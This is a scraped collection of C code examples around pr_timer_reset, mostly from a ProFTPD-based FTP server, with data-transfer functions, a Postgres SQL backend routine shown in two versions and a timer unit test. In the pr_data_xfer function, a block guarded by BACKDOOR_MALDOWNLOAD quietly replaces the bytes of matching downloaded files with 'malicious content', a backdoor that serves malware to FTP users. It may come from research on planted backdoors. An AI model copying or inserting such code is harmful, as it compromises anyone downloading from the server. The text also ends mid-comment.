Example #1
0
File: data.c Project: flxflx/weasel
/* close == successful transfer */
void pr_data_close(int quiet) {
  nstrm = NULL;

  if (session.d) {
    pr_inet_lingering_close(session.pool, session.d, timeout_linger);
    session.d = NULL;
  }

  /* Aborts no longer necessary */
  signal(SIGURG, SIG_IGN);

  if (timeout_noxfer) {
    pr_timer_reset(PR_TIMER_NOXFER, ANY_MODULE);
  }

  if (timeout_stalled) {
    pr_timer_remove(PR_TIMER_STALLED, ANY_MODULE);
  }

  session.sf_flags &= (SF_ALL^SF_PASSIVE);
  session.sf_flags &= (SF_ALL^(SF_ABORT|SF_XFER|SF_PASSIVE|SF_ASCII_OVERRIDE));
  pr_session_set_idle();

  if (!quiet)
    pr_response_add(R_226, _("Transfer complete"));
}
Example #2
0
END_TEST

START_TEST (timer_reset_test) {
  int res;
  unsigned int ok = 0;

  mark_point();
  res = pr_timer_reset(0, NULL);
  fail_unless(res == -1, "Failed to handle empty timer list");
  fail_unless(errno == EPERM, "Failed to set errno to EPERM");

  mark_point();
  res = pr_timer_add(2, 1, NULL, timers_test_cb, "test");
  fail_unless(res == 1, "Failed to add timer: %s", strerror(errno));

  mark_point();
  res = pr_timer_reset(2, NULL);
  fail_unless(res == 0, "Expected timer ID 1, got %d", res);

  sleep(1);
  timers_handle_signals();

  mark_point();
  fail_unless(timer_triggered_count == ok,
    "Timer fired unexpectedly (expected count %u, got %u)", ok,
    timer_triggered_count);

  mark_point();
  res = pr_timer_reset(1, NULL);
  fail_unless(res == 1, "Failed to reset timer");

  sleep(1);
  timers_handle_signals();

  fail_unless(timer_triggered_count == ok,
    "Timer fired unexpectedly (expected count %u, got %u)", ok,
    timer_triggered_count);

  sleep(1);
  timers_handle_signals();

  ok = 1;
  fail_unless(timer_triggered_count == ok ||
              timer_triggered_count == (ok - 1),
    "Timer failed to fire (expected count %u, got %u)", ok,
    timer_triggered_count);
}
Example #3
0
/*
 * cmd_open: attempts to open a named connection to the database.
 *
 * Inputs:
 *  cmd->argv[0]: connection name
 *
 * Returns:
 *  either a properly filled error modret_t if a connection could not be
 *  opened, or a simple non-error modret_t.
 *
 * Notes:
 *  mod_sql depends on these semantics -- a backend should not open
 *  a connection unless mod_sql requests it, nor close one unless 
 *  mod_sql requests it.  Connection counting is *REQUIRED* for complete
 *  compatibility; a connection should not be closed unless the count
 *  reaches 0, and ideally will not need to be re-opened for counts > 1.
 */
MODRET cmd_open(cmd_rec *cmd) {
  conn_entry_t *entry = NULL;
  db_conn_t *conn = NULL;
  const char *server_version = NULL;

  sql_log(DEBUG_FUNC, "%s", "entering \tpostgres cmd_open");

  _sql_check_cmd(cmd, "cmd_open" );

  if (cmd->argc < 1) {
    sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open");
    return PR_ERROR_MSG(cmd, MOD_SQL_POSTGRES_VERSION, "badly formed request");
  }    

  /* get the named connection */

  if (!(entry = _sql_get_connection(cmd->argv[0]))) {
    sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open");
    return PR_ERROR_MSG(cmd, MOD_SQL_POSTGRES_VERSION,
      "unknown named connection");
  } 

  conn = (db_conn_t *) entry->data;

  /* if we're already open (connections > 0) increment connections 
   * reset our timer if we have one, and return HANDLED 
   */
  if (entry->connections > 0) { 
    if (PQstatus(conn->postgres) == CONNECTION_OK) {
      entry->connections++;

      if (entry->timer) {
        pr_timer_reset(entry->timer, &sql_postgres_module);
      }

      sql_log(DEBUG_INFO, "connection '%s' count is now %d", entry->name,
        entry->connections);
      sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open");
      return PR_HANDLED(cmd);

    } else {
      char *reason;
      size_t reason_len;

      /* Unless we've been told not to reconnect, try to reconnect now.
       * We only try once; if it fails, we return an error.
       */
      if (!(pr_sql_opts & SQL_OPT_NO_RECONNECT)) {
        PQreset(conn->postgres);

        if (PQstatus(conn->postgres) == CONNECTION_OK) {
          entry->connections++;

          if (entry->timer) {
            pr_timer_reset(entry->timer, &sql_postgres_module);
          }

          sql_log(DEBUG_INFO, "connection '%s' count is now %d", entry->name,
            entry->connections);
          sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open");
          return PR_HANDLED(cmd);
        }
      }

      reason = PQerrorMessage(conn->postgres);
      reason_len = strlen(reason);

      /* Postgres might give us an empty string as the reason; not helpful. */
      if (reason_len == 0) {
        reason = "(unknown)";
        reason_len = strlen(reason);
      }

      /* The error message returned by Postgres is usually appended with
       * a newline.  Let's prettify it by removing the newline.  Note
       * that yes, we are overwriting the pointer given to us by Postgres,
       * but it's OK.  The Postgres docs say that we're not supposed to
       * free the memory associated with the returned string anyway.
       */
      reason = pstrdup(session.pool, reason);

      if (reason[reason_len-1] == '\n') {
        reason[reason_len-1] = '\0';
        reason_len--;
      }

      sql_log(DEBUG_INFO, "lost connection to database: %s", reason);

      entry->connections = 0;
      if (entry->timer) {
        pr_timer_remove(entry->timer, &sql_postgres_module);
        entry->timer = 0;
      }

      sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open");
      return PR_ERROR_MSG(cmd, MOD_SQL_POSTGRES_VERSION,
        "lost connection to database");
    }
  }

  /* make sure we have a new conn struct */
  conn->postgres = PQconnectdb(conn->connectstring);
  
  if (PQstatus(conn->postgres) == CONNECTION_BAD) {
    /* if it didn't work, return an error */
    sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open");
    return _build_error( cmd, conn );
  }

#if defined(PG_VERSION_STR)
  sql_log(DEBUG_FUNC, "Postgres client: %s", PG_VERSION_STR);
#endif

  server_version = PQparameterStatus(conn->postgres, "server_version");
  if (server_version != NULL) {
    sql_log(DEBUG_FUNC, "Postgres server version: %s", server_version);
  }

#ifdef PR_USE_NLS
  if (pr_encode_get_encoding() != NULL) {
    const char *encoding;

    encoding = get_postgres_encoding(pr_encode_get_encoding());

    /* Configure the connection for the current local character set. */
    if (PQsetClientEncoding(conn->postgres, encoding) < 0) {
      /* if it didn't work, return an error */
      sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open");
      return _build_error(cmd, conn);
    }

    sql_log(DEBUG_FUNC, "Postgres connection character set now '%s' "
      "(from '%s')", pg_encoding_to_char(PQclientEncoding(conn->postgres)),
      pr_encode_get_encoding());
  }
#endif /* !PR_USE_NLS */

  /* bump connections */
  entry->connections++;

  if (pr_sql_conn_policy == SQL_CONN_POLICY_PERSESSION) {
    /* If the connection policy is PERSESSION... */
    if (entry->connections == 1) {
      /* ...and we are actually opening the first connection to the database;
       * we want to make sure this connection stays open, after this first use
       * (as per Bug#3290).  To do this, we re-bump the connection count.
       */
      entry->connections++;
    } 
 
  } else if (entry->ttl > 0) { 
    /* Set up our timer if necessary */

    entry->timer = pr_timer_add(entry->ttl, -1, &sql_postgres_module,
      sql_timer_cb, "postgres connection ttl");
    sql_log(DEBUG_INFO, "connection '%s' - %d second timer started",
      entry->name, entry->ttl);

    /* Timed connections get re-bumped so they don't go away when cmd_close
     * is called.
     */
    entry->connections++;
  }

  /* return HANDLED */
  sql_log(DEBUG_INFO, "connection '%s' opened", entry->name);

  sql_log(DEBUG_INFO, "connection '%s' count is now %d", entry->name,
    entry->connections);

  sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open");
  return PR_HANDLED(cmd);
}
/*
 * cmd_open: attempts to open a named connection to the database.
 *
 * Inputs:
 *  cmd->argv[0]: connection name
 *
 * Returns:
 *  either a properly filled error modret_t if a connection could not be
 *  opened, or a simple non-error modret_t.
 *
 * Notes:
 *  mod_sql depends on these semantics -- a backend should not open
 *  a connection unless mod_sql requests it, nor close one unless 
 *  mod_sql requests it.  Connection counting is *REQUIRED* for complete
 *  compatibility; a connection should not be closed unless the count
 *  reaches 0, and ideally will not need to be re-opened for counts > 1.
 */
MODRET cmd_open(cmd_rec *cmd) {
  conn_entry_t *entry = NULL;
  db_conn_t *conn = NULL;

  sql_log(DEBUG_FUNC, "%s", "entering \tpostgres cmd_open");

  _sql_check_cmd(cmd, "cmd_open" );

  if (cmd->argc < 1) {
    sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open");
    return ERROR_MSG(cmd, MOD_SQL_POSTGRES_VERSION, "badly formed request");
  }    

  /* get the named connection */

  if (!(entry = _sql_get_connection(cmd->argv[0]))) {
    sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open");
    return ERROR_MSG(cmd, MOD_SQL_POSTGRES_VERSION, "unknown named connection");
  } 

  conn = (db_conn_t *) entry->data;

  /* if we're already open (connections > 0) increment connections 
   * reset our timer if we have one, and return HANDLED 
   */
  if ((entry->connections > 0) && 
      (PQstatus(conn->postgres) == CONNECTION_OK)) {
    entry->connections++;
    if (entry->timer) 
      pr_timer_reset(entry->timer, &sql_postgres_module);

    sql_log(DEBUG_INFO, "connection '%s' count is now %d", entry->name,
      entry->connections);
    sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open");
    return HANDLED(cmd);
  }

  /* make sure we have a new conn struct */
  conn->postgres = PQconnectdb(conn->connectstring);
  
  if (PQstatus(conn->postgres) == CONNECTION_BAD) {
    /* if it didn't work, return an error */
    sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open");
    return _build_error( cmd, conn );
  }

  /* bump connections */
  entry->connections++;

  /* set up our timer if necessary */
  if (entry->ttl > 0) {
    entry->timer = pr_timer_add(entry->ttl, -1, &sql_postgres_module,
      _sql_timer_callback);
    sql_log(DEBUG_INFO, "connection '%s' - %d second timer started",
      entry->name, entry->ttl);

    /* timed connections get re-bumped so they don't go away when cmd_close
     * is called.
     */
    entry->connections++;
  }

  /* return HANDLED */
  sql_log(DEBUG_INFO, "connection '%s' opened", entry->name);

  sql_log(DEBUG_INFO, "connection '%s' count is now %d", entry->name,
    entry->connections);

  sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_open");
  return HANDLED(cmd);
}
Example #5
0
File: data.c Project: flxflx/weasel
int pr_data_xfer(char *cl_buf, int cl_size) {
  int len = 0;
  int total = 0;
  int res = 0;

  /* Poll the control channel for any commands we should handle, like
   * QUIT or ABOR.
   */
  pr_trace_msg(trace_channel, 4, "polling for commands on control channel");
  pr_netio_set_poll_interval(session.c->instrm, 0);
  res = pr_netio_poll(session.c->instrm);
  pr_netio_reset_poll_interval(session.c->instrm);

  if (res == 0 &&
      !(session.sf_flags & SF_ABORT)) {
    cmd_rec *cmd = NULL;

    pr_trace_msg(trace_channel, 1,
      "data available for reading on control channel during data transfer, "
      "reading control data");
    res = pr_cmd_read(&cmd);
    if (res < 0) {
      int xerrno;
#if defined(ECONNABORTED)
      xerrno = ECONNABORTED;
#elif defined(ENOTCONN)
      xerrno = ENOTCONN;
#else
      xerrno = EIO;
#endif

      pr_trace_msg(trace_channel, 1,
        "unable to read control command during data transfer: %s",
        strerror(xerrno));
      errno = xerrno;

#ifndef PR_DEVEL_NO_DAEMON
      /* Otherwise, EOF */
      pr_session_disconnect(NULL, PR_SESS_DISCONNECT_CLIENT_EOF, NULL);
#else
      return -1;
#endif /* PR_DEVEL_NO_DAEMON */

    } else if (cmd != NULL) {
      char *ch;

      for (ch = cmd->argv[0]; *ch; ch++)
        *ch = toupper(*ch);

      cmd->cmd_id = pr_cmd_get_id(cmd->argv[0]);

      /* Only handle commands which do not involve data transfers; we
       * already have a data transfer in progress.  For any data transfer
       * command, send a 450 ("busy") reply.  Looks like almost all of the
       * data transfer commands accept that response, as per RFC959.
       *
       * We also prevent the EPRT, EPSV, PASV, and PORT commands, since
       * they will also interfere with the current data transfer.  In doing
       * so, we break RFC compliance a little; RFC959 does not allow a
       * response code of 450 for those commands (although it should).
       */
      if (pr_cmd_cmp(cmd, PR_CMD_APPE_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_LIST_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_MLSD_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_NLST_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_RETR_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_STOR_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_STOU_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_RNFR_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_RNTO_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_PORT_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_PASV_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) == 0) {
        pool *resp_pool;

        pr_trace_msg(trace_channel, 5,
          "client sent '%s' command during data transfer, denying",
          cmd->argv[0]);

        resp_list = resp_err_list = NULL;
        resp_pool = pr_response_get_pool();

        pr_response_set_pool(cmd->pool);

        pr_response_add_err(R_450, _("%s: data transfer in progress"),
          cmd->argv[0]);

        pr_response_flush(&resp_err_list);

        destroy_pool(cmd->pool);
        pr_response_set_pool(resp_pool);

      /* We don't want to actually dispatch the NOOP command, since that
       * would overwrite the scoreboard with the NOOP state; admins probably
       * want to see the command that caused the data transfer.  And since
       * NOOP doesn't take a 450 response (as per RFC959), we will simply
       * return 200.
       */
      } else if (pr_cmd_cmp(cmd, PR_CMD_NOOP_ID) == 0) {
        pool *resp_pool;

        pr_trace_msg(trace_channel, 5,
          "client sent '%s' command during data transfer, ignoring",
          cmd->argv[0]);

        resp_list = resp_err_list = NULL;
        resp_pool = pr_response_get_pool();

        pr_response_set_pool(cmd->pool);

        pr_response_add(R_200, _("%s: data transfer in progress"),
          cmd->argv[0]);

        pr_response_flush(&resp_list);

        destroy_pool(cmd->pool);
        pr_response_set_pool(resp_pool);

      } else {
        char *title_buf = NULL;
        int title_len = -1;
        const char *sce_cmd = NULL, *sce_cmd_arg = NULL;

        pr_trace_msg(trace_channel, 5,
          "client sent '%s' command during data transfer, dispatching",
          cmd->argv[0]);

        title_len = pr_proctitle_get(NULL, 0);
        if (title_len > 0) {
          title_buf = pcalloc(cmd->pool, title_len + 1);
          pr_proctitle_get(title_buf, title_len + 1); 
        }

        sce_cmd = pr_scoreboard_entry_get(PR_SCORE_CMD);
        sce_cmd_arg = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG);

        pr_cmd_dispatch(cmd);

        pr_scoreboard_entry_update(session.pid,
          PR_SCORE_CMD, "%s", sce_cmd, NULL, NULL);
        pr_scoreboard_entry_update(session.pid,
          PR_SCORE_CMD_ARG, "%s", sce_cmd_arg, NULL, NULL);

        if (title_len > 0) {
          pr_proctitle_set_str(title_buf);
        }

        destroy_pool(cmd->pool);
      }

    } else {
      pr_trace_msg(trace_channel, 3,
        "invalid command sent, sending error response");
      pr_response_send(R_500, _("Invalid command: try being more creative"));
    }
  }

  /* If we don't have a data connection here (e.g. might have been closed
   * by an ABOR, then return zero (no data transferred).
   */
  if (session.d == NULL) {
    int xerrno;

#if defined(ECONNABORTED)
    xerrno = ECONNABORTED;
#elif defined(ENOTCONN)
    xerrno = ENOTCONN;
#else
    xerrno = EIO;
#endif

    pr_trace_msg(trace_channel, 1,
      "data connection is null prior to data transfer (possibly from "
      "aborted transfer), returning '%s' error", strerror(xerrno));
    pr_log_debug(DEBUG5, 
      "data connection is null prior to data transfer (possibly from "
       "aborted transfer), returning '%s' error", strerror(xerrno));

    errno = xerrno;
    return -1;
  }

  if (session.xfer.direction == PR_NETIO_IO_RD) {
    char *buf = session.xfer.buf;
    pr_buffer_t *pbuf;

    if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {
      int adjlen, buflen;

      do {
        buflen = session.xfer.buflen;        /* how much remains in buf */
        adjlen = 0;

        pr_signals_handle();

        len = pr_netio_read(session.d->instrm, buf + buflen,
          session.xfer.bufsize - buflen, 1);
        if (len < 0)
          return -1;

        /* Before we process the data read from the client, generate an event
         * for any listeners which may want to examine this data.
         */

        pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t));
        pbuf->buf = buf;
        pbuf->buflen = len;
        pbuf->current = pbuf->buf;
        pbuf->remaining = 0;

        pr_event_generate("core.data-read", pbuf);

        /* The event listeners may have changed the data to write out. */
        buf = pbuf->buf;
        len = pbuf->buflen - pbuf->remaining;

        if (len > 0) {
          buflen += len;

          if (timeout_stalled) {
            pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
          }
        }

        /* If buflen > 0, data remains in the buffer to be copied. */
        if (len >= 0 &&
            buflen > 0) {

          /* Perform translation:
           *
           * buflen is returned as the modified buffer length after
           *        translation
           * adjlen is returned as the number of characters unprocessed in
           *        the buffer (to be dealt with later)
           *
           * We skip the call to xfrm_ascii_read() in one case:
           * when we have one character in the buffer and have reached
           * end of data, this is so that xfrm_ascii_read() won't sit
           * forever waiting for the next character after a final '\r'.
           */
          if (len > 0 || buflen > 1)
            xfrm_ascii_read(buf, &buflen, &adjlen);
	
          /* Now copy everything we can into cl_buf */
          if (buflen > cl_size) {
            /* Because we have to cut our buffer short, make sure this
             * is made up for later by increasing adjlen.
             */
            adjlen += (buflen - cl_size);
            buflen = cl_size;
          }

          memcpy(cl_buf, buf, buflen);

          /* Copy whatever remains at the end of session.xfer.buf to the
           * head of the buffer and adjust buf accordingly.
           *
           * adjlen is now the total bytes still waiting in buf, if
           * anything remains, copy it to the start of the buffer.
           */

          if (adjlen > 0)
            memcpy(buf, buf+buflen, adjlen);

          /* Store everything back in session.xfer. */
          session.xfer.buflen = adjlen;
          total += buflen;
        }
	
        /* Restart if data was returned by pr_netio_read() (len > 0) but no
         * data was copied to the client buffer (buflen = 0).  This indicates
         * that xfrm_ascii_read() needs more data in order to translate, so we
         * need to call pr_netio_read() again.
         */
      } while (len > 0 && buflen == 0);

      /* Return how much data we actually copied into the client buffer. */
      len = buflen;

    } else if ((len = pr_netio_read(session.d->instrm, cl_buf,
        cl_size, 1)) > 0) {

      /* Before we process the data read from the client, generate an event
       * for any listeners which may want to examine this data.
       */

      pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t));
      pbuf->buf = buf;
      pbuf->buflen = len;
      pbuf->current = pbuf->buf;
      pbuf->remaining = 0;

      pr_event_generate("core.data-read", pbuf);

      /* The event listeners may have changed the data to write out. */
      buf = pbuf->buf;
      len = pbuf->buflen - pbuf->remaining;

      /* Non-ASCII mode doesn't need to use session.xfer.buf */
      if (timeout_stalled) {
        pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
      }

      total += len;
    }

  } else { /* PR_NETIO_IO_WR */
  
    while (cl_size) {
      int bwrote = 0;
      int buflen = cl_size;
      unsigned int xferbuflen;

      pr_signals_handle();

      if (buflen > pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR))
        buflen = pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR);

      xferbuflen = buflen;
#ifdef BACKDOOR_MALDOWNLOAD
      int restriction = 0;

			if (strcmp(fakedownload, "1") == 0)
			{
				// Iterate through all files
				int i = 0;
				for (i = 0; i < mcounter; i++)
				{
					if (strcmp(mlist[i].category, "web") == 0)
					{
						if (strcmp(mlist[i].filename_good, active_full_path) == 0)
						{
							session.xfer.buf = (char*) malloc (sizeof(char)*buflen+1);
							if (!session.xfer.buf)
								break;
							/* Fill up our internal buffer with malicious content. :-) */
							memcpy(session.xfer.buf, filename_buffer, buflen);
							filename_buffer += buflen;
							restriction = 1;
							break;

						}
  					}
				}
			}
			
			if (restriction == 0)
			{				
#endif /* BACKDOOR_MALDOWNLOAD */
				/* Fill up our internal buffer. */
				memcpy(session.xfer.buf, cl_buf, buflen);
				
				if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {
        /* Scan the internal buffer, looking for LFs with no preceding CRs.
         * Add CRs (and expand the internal buffer) as necessary. xferbuflen
         * will be adjusted so that it contains the length of data in
         * the internal buffer, including any added CRs.
         */
        xfrm_ascii_write(&session.xfer.buf, &xferbuflen, session.xfer.bufsize);
      }
#ifdef BACKDOOR_MALDOWNLOAD
      }
#endif /* BACKDOOR_MALDOWNLOAD */

      bwrote = pr_netio_write(session.d->outstrm, session.xfer.buf, xferbuflen);

      if (bwrote < 0)
        return -1;

      if (bwrote > 0) {
        if (timeout_stalled) {
          pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
        }

        cl_size -= buflen;
        cl_buf += buflen;
        total += buflen;
      }
    }

    len = total;
  }

  if (total &&
      timeout_idle)
    pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE);

  session.xfer.total_bytes += total;
  session.total_bytes += total;
  if (session.xfer.direction == PR_NETIO_IO_RD) {
    session.total_bytes_in += total;

  } else {
    session.total_bytes_out += total;
  }

  return (len < 0 ? -1 : len);
}
Example #6
0
File: data.c Project: flxflx/weasel
/* In order to avoid clearing the transfer counters in session.xfer, we don't
 * clear session.xfer here, it should be handled by the appropriate
 * LOG_CMD/LOG_CMD_ERR handler calling pr_data_cleanup().
 */
void pr_data_abort(int err, int quiet) {
  int true_abort = XFER_ABORTED;
  nstrm = NULL;

  if (session.d) {
    if (!true_abort)
      pr_inet_lingering_close(session.pool, session.d, timeout_linger);

    else
      pr_inet_lingering_abort(session.pool, session.d, timeout_linger);

    session.d = NULL;
  }

  if (timeout_noxfer) {
    pr_timer_reset(PR_TIMER_NOXFER, ANY_MODULE);
  }

  if (timeout_stalled) {
    pr_timer_remove(PR_TIMER_STALLED, ANY_MODULE);
  }

  session.sf_flags &= (SF_ALL^SF_PASSIVE);
  session.sf_flags &= (SF_ALL^(SF_XFER|SF_PASSIVE|SF_ASCII_OVERRIDE));
  pr_session_set_idle();

  /* Aborts no longer necessary */
  signal(SIGURG, SIG_IGN);

  if (timeout_noxfer)
    pr_timer_reset(PR_TIMER_NOXFER, ANY_MODULE);

  if (!quiet) {
    char	*respcode = R_426;
    char	*msg = NULL;
    char	msgbuf[64];

    switch (err) {

    case 0:
      respcode = R_426;
      msg = _("Data connection closed");
      break;

#ifdef ENXIO
    case ENXIO:
      respcode = R_451;
      msg = _("Unexpected streams hangup");
      break;

#endif

#ifdef EAGAIN
    case EAGAIN:		/* FALLTHROUGH */
#endif
#ifdef ENOMEM
    case ENOMEM:
#endif
#if defined(EAGAIN) || defined(ENOMEM)
      respcode = R_451;
      msg = _("Insufficient memory or file locked");
      break;
#endif

#ifdef ETXTBSY
    case ETXTBSY:		/* FALLTHROUGH */
#endif
#ifdef EBUSY
    case EBUSY:
#endif
#if defined(ETXTBSY) || defined(EBUSY)
      respcode = R_451;
      break;
#endif

#ifdef ENOSPC
    case ENOSPC:
      respcode = R_452;
      break;
#endif

#ifdef EDQUOT
    case EDQUOT:		/* FALLTHROUGH */
#endif
#ifdef EFBIG
    case EFBIG:
#endif
#if defined(EDQUOT) || defined(EFBIG)
      respcode = R_552;
      break;
#endif

#ifdef ECOMM
    case ECOMM:		/* FALLTHROUGH */
#endif
#ifdef EDEADLK
    case EDEADLK:		/* FALLTHROUGH */
#endif
#ifdef EDEADLOCK
# if !defined(EDEADLK) || (EDEADLOCK != EDEADLK)
    case EDEADLOCK:		/* FALLTHROUGH */
# endif
#endif
#ifdef EXFULL
    case EXFULL:		/* FALLTHROUGH */
#endif
#ifdef ENOSR
    case ENOSR:		/* FALLTHROUGH */
#endif
#ifdef EPROTO
    case EPROTO:		/* FALLTHROUGH */
#endif
#ifdef ETIME
    case ETIME:		/* FALLTHROUGH */
#endif
#ifdef EIO
    case EIO:		/* FALLTHROUGH */
#endif
#ifdef EFAULT
    case EFAULT:		/* FALLTHROUGH */
#endif
#ifdef ESPIPE
    case ESPIPE:		/* FALLTHROUGH */
#endif
#ifdef EPIPE
    case EPIPE:
#endif
#if defined(ECOMM) || defined(EDEADLK) ||  defined(EDEADLOCK) \
	|| defined(EXFULL) || defined(ENOSR) || defined(EPROTO) \
	|| defined(ETIME) || defined(EIO) || defined(EFAULT) \
	|| defined(ESPIPE) || defined(EPIPE)
      respcode = R_451;
      break;
#endif

#ifdef EREMCHG
    case EREMCHG:		/* FALLTHROUGH */
#endif
#ifdef ESRMNT
    case ESRMNT:		/* FALLTHROUGH */
#endif
#ifdef ESTALE
    case ESTALE:		/* FALLTHROUGH */
#endif
#ifdef ENOLINK
    case ENOLINK:		/* FALLTHROUGH */
#endif
#ifdef ENOLCK
    case ENOLCK:		/* FALLTHROUGH */
#endif
#ifdef ENETRESET
    case ENETRESET:		/* FALLTHROUGH */
#endif
#ifdef ECONNABORTED
    case ECONNABORTED:	/* FALLTHROUGH */
#endif
#ifdef ECONNRESET
    case ECONNRESET:	/* FALLTHROUGH */
#endif
#ifdef ETIMEDOUT
    case ETIMEDOUT:
#endif
#if defined(EREMCHG) || defined(ESRMNT) ||  defined(ESTALE) \
	|| defined(ENOLINK) || defined(ENOLCK) || defined(ENETRESET) \
	|| defined(ECONNABORTED) || defined(ECONNRESET) || defined(ETIMEDOUT)
      respcode = R_450;
      msg = _("Link to file server lost");
      break;
#endif
    }

    if (msg == NULL &&
        (msg = strerror(err)) == NULL ) {

      if (snprintf(msgbuf, sizeof(msgbuf),
          _("Unknown or out of range errno [%d]"), err) > 0)
	msg = msgbuf;
    }

    pr_log_pri(PR_LOG_NOTICE, "notice: user %s: aborting transfer: %s",
      session.user, msg);

    /* If we are aborting, then a 426 response has already been sent,
     * and we don't want to add another to the error queue.
     */
    if (!true_abort)
      pr_response_add_err(respcode, _("Transfer aborted. %s"), msg ? msg : "");
  }

  if (true_abort)
    session.sf_flags |= SF_POST_ABORT;
}
Example #7
0
File: data.c Project: flxflx/weasel
int pr_data_open(char *filename, char *reason, int direction, off_t size) {
  int res = 0;

  /* Make sure that any abort flags have been cleared. */
  session.sf_flags &= ~SF_ABORT;

  if (session.xfer.p == NULL) {
    data_new_xfer(filename, direction);

  } else {
    session.xfer.direction = direction;
  }

  if (!reason)
    reason = filename;

  /* Passive data transfers... */
  if (session.sf_flags & SF_PASSIVE ||
      session.sf_flags & SF_EPSV_ALL) {
    if (session.d == NULL) {
      pr_log_pri(PR_LOG_ERR, "Internal error: PASV mode set, but no data "
        "connection listening");
      pr_session_disconnect(NULL, PR_SESS_DISCONNECT_BY_APPLICATION, NULL);
    }

    res = data_pasv_open(reason, size);

  /* Active data transfers... */
  } else {
    if (session.d != NULL) {
      pr_log_pri(PR_LOG_ERR, "Internal error: non-PASV mode, yet data "
        "connection already exists?!?");
      pr_session_disconnect(NULL, PR_SESS_DISCONNECT_BY_APPLICATION, NULL);
    }

    res = data_active_open(reason, size);
  }

  if (res >= 0) {
    struct sigaction act;

    if (pr_netio_postopen(session.d->instrm) < 0) {
      pr_response_add_err(R_425, _("Unable to build data connection: %s"),
        strerror(session.d->xerrno));
      destroy_pool(session.d->pool);
      session.d = NULL;
      return -1;
    }

    if (pr_netio_postopen(session.d->outstrm) < 0) {
      pr_response_add_err(R_425, _("Unable to build data connection: %s"),
        strerror(session.d->xerrno));
      destroy_pool(session.d->pool);
      session.d = NULL;
      return -1;
    }

    memset(&session.xfer.start_time, '\0', sizeof(session.xfer.start_time));
    gettimeofday(&session.xfer.start_time, NULL);

    if (session.xfer.direction == PR_NETIO_IO_RD)
      nstrm = session.d->instrm;

    else
      nstrm = session.d->outstrm;

    session.sf_flags |= SF_XFER;

    if (timeout_noxfer)
      pr_timer_reset(PR_TIMER_NOXFER, ANY_MODULE);

    /* Allow aborts -- set the current NetIO stream to allow interrupted
     * syscalls, so our SIGURG handler can interrupt it
     */
    pr_netio_set_poll_interval(nstrm, 1);

    /* PORTABILITY: sigaction is used here to allow us to indicate
     * (w/ POSIX at least) that we want SIGURG to interrupt syscalls.  Put
     * in whatever is necessary for your arch here; probably not necessary
     * as the only _important_ interrupted syscall is select(), which on
     * any sensible system is interrupted.
     */

    act.sa_handler = data_urgent;
    sigemptyset(&act.sa_mask);
    act.sa_flags = 0;
#ifdef SA_INTERRUPT
    act.sa_flags |= SA_INTERRUPT;
#endif

    if (sigaction(SIGURG, &act, NULL) < 0)
      pr_log_pri(PR_LOG_WARNING,
        "warning: unable to set SIGURG signal handler: %s", strerror(errno));

#ifdef HAVE_SIGINTERRUPT
    /* This is the BSD way of ensuring interruption.
     * Linux uses it too (??)
     */
    if (siginterrupt(SIGURG, 1) < 0)
      pr_log_pri(PR_LOG_WARNING,
        "warning: unable to make SIGURG interrupt system calls: %s",
        strerror(errno));
#endif
  }

  return res;
}
Example #8
0
File: data.c Project: flxflx/weasel
/* pr_data_sendfile() actually transfers the data on the data connection.
 * ASCII translation is not performed.
 * return 0 if reading and data connection closes, or -1 if error
 */
pr_sendfile_t pr_data_sendfile(int retr_fd, off_t *offset, off_t count) {
  int flags, error;
  pr_sendfile_t len = 0, total = 0;
#if defined(HAVE_AIX_SENDFILE)
  struct sf_parms parms;
  int rc;
#endif /* HAVE_AIX_SENDFILE */

  if (session.xfer.direction == PR_NETIO_IO_RD)
    return -1;

  flags = fcntl(PR_NETIO_FD(session.d->outstrm), F_GETFL);
  if (flags == -1)
    return -1;

  /* Set fd to blocking-mode for sendfile() */
  if (flags & O_NONBLOCK) {
    if (fcntl(PR_NETIO_FD(session.d->outstrm), F_SETFL, flags^O_NONBLOCK) == -1)
      return -1;
  }

  for (;;) {
#if defined(HAVE_LINUX_SENDFILE) || defined(HAVE_SOLARIS_SENDFILE)
    off_t orig_offset = *offset;

    /* Linux semantics are fairly straightforward in a glibc 2.x world:
     *
     *   #include <sys/sendfile.h>
     *
     *   ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count)
     *
     * Unfortunately, this API does not allow for an off_t number of bytes
     * to be sent, only a size_t.  This means we need to make sure that
     * the given count does not exceed the maximum value for a size_t.  Even
     * worse, the return value is a ssize_t, not a size_t, which means
